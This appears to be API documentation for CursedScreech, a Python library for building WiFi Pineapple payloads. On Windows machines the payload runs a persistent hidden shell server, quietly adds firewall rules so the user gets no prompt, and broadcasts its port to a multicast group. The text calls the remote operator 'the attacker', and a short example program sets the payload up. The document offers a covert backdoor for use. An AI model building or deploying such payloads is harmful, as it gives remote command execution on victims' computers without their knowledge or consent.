CursedScreech Python API

Synopsis

This API is used to create payloads in Python that connect to the WiFi Pineapple module CursedScreech. If used properly this API will enable your payload to setup a multicast broadcaster and secure shell server that continue to operate in the background even after all windows have exited. Connections to the shell server are negotiated for the highest level of TLS available on the system (no SSL) so one executable can work on various versions of Windows. Once connected, any command that would normally be issued within command prompt or PowerShell can be issued from CursedScreech.

Example Program

```
from CursedScreech import CursedScreech

cs = CursedScreech("Network Client")
cs.startMulticaster("231.253.78.29", 19578)
cs.setRemoteCertificateSerial("ABCDEF1234567890")
cs.startSecureServerThread("payload.pem", " payload.cer", "cursedscreech.cer")
```

Required Methods

CursedScreech(payloadName)

Instantiates a new CursedScreech object and sets the name of the application so firewall rules can be built properly within Windows.

payloadName: The name of the finished payload file. This is used to set up a firewall rule to allow connections from the payload. Without this the user would be prompted to allow the connection manually.

---

startMulticaster(string multicastAddress,
int multicastPort,
[int heartbeatInterval = 5])

Starts a UDP socket in a new thread with the given information and continually broadcasts the socket on which the shell server is listening. Also sets up an outbound firewall rule to allow the packets to be sent.

multicastAddress: IP address of the multicast group with which you wish to communicate.

multicastPort: Port number to which messages will be sent in the group.

heartbeatInterval: The rate (in seconds) at which to send an update to the multicast group. Default is every 5 seconds.

startSecureServerThread(string key,
string certificate,
string remoteCertificate)

Starts a listener in a new thread, on a random port, using the keys supplied to set up secure communications. When system commands are received another new thread is spawned strictly to execute the command and pass back the data when finished. This prevents a possible blocking program from stopping future commands issued by CursedScreech.

key: The name of a key file.

certificate: The name of the public certificate associated with the key.

remoteCertificate: The remote certificate expected to be received when a connection is initiated.

Optional (Recommended) Methods

setRemoteCertificateSerial(string serial)

Sets the serial number of the expected remote certificate to properly validate the attacker.

The serial needs to be in big-endian format without any special characters. The output given from OpenSSL should be sufficient to copy directly into the program.